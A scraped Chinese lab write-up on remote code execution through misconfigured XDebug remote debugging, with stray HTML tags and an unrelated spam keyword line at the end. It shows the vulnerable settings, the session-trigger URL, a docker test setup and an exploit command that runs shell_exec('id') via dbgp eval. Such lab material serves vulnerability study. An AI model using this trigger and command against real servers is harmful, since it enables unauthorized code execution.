<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    XDebug 遠程調試漏洞(代碼執行)

    Path php/xdebug-rce

    XDebug是PHP的一個擴展,用于調試PHP代碼。如果目標開啟了遠程調試模式,并設置remote_connect_back = 1

    xdebug.remote_connect_back = 1
    xdebug.remote_enable = 1

    這個配置下,我們訪問http://target/index.php?XDEBUG_SESSION_START=phpstorm,目標服務器的XDebug將會連接訪問者的IP(或X-Forwarded-For頭指定的地址)并通過dbgp協議與其通信,我們通過dbgp中提供的eval方法即可在目標服務器上執行任意PHP代碼。

    更多說明可參考:

    測試環境

    編譯及啟動測試環境

    docker-compose build
    docker-compose up -d

    啟動完成后,訪問http://your-ip:8080/即可發現主頁是一個簡單的phpinfo,在其中可以找到xdebug的配置,可見開啟了遠程調試。

    漏洞利用

    因為需要使用dbgp協議與目標服務器通信,所以無法用http協議復現漏洞。

    我編寫了一個漏洞復現腳本,指定目標web地址、待執行的php代碼即可:

    # 要求用python3并安裝requests庫
    python3 exp.py -t http://127.0.0.1:8080/index.php -c 'shell_exec('id');'

    重要說明:因為該通信是一個反向連接的過程,exp.py啟動后其實是會監聽本地的9000端口(可通過-l參數指定)并等待XDebug前來連接,所以執行該腳本的服務器必須有外網IP(或者與目標服務器處于同一內網)。

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类